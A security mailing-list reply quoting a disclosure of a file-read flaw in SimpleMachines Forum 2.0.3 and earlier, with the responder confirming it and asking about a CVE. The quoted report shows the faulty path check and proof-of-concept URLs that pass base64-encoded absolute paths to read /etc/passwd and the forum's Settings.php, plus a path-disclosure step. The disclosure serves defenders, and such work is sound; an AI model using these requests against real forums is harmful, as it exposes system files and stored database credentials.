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Re: File Disclosure in SimpleMachines Forum <= 2.0.3
From: Carlos Alberto Lopez Perez <clopez () igalia com>
Date: Tue, 08 Jan 2013 14:24:53 +0100

On 07/01/13 15:54, WHK Yan wrote:
*Summary:*
--------------
A security flaw allows an attacker to know the full source file of the web
system.

*Details:
-----------
Sources/ManageErrors.php Line 340:
// Make sure the file we are looking for is one they are allowed to look at
if (!is_readable($file) || (strpos($file, '../') !== false && (
strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
    fatal_lang_error('error_bad_file', true,
array(htmlspecialchars($file)));

Bypass function strpos($file, '../'), no need "../", example:
/home/foo/www/Settings.php

*PoC:
-------
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=
Read /etc/passwd

works with path disclosure for read Settings.php:
http://whk.drawcoders.net/index.php/topic,2792.0.html

*Reproduce:
1. Open http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
2. Get full path of web app ( /home/1337/public_html/SSI.php ).
3. Exploit in base64:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=
To read /home/spadmin/public_html/Settings.php

Referer and Mirror:
-------------------------
http://whk.drawcoders.net/index.php/topic,2805.0.html




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Hi!


I have verified SMF is affected by this issue.

The PoC requires an admin login to be exploited. Is there any
possibility to exploit this issue without an admin login?


I guess a CVE should be assigned. Do you already asked for one?

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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

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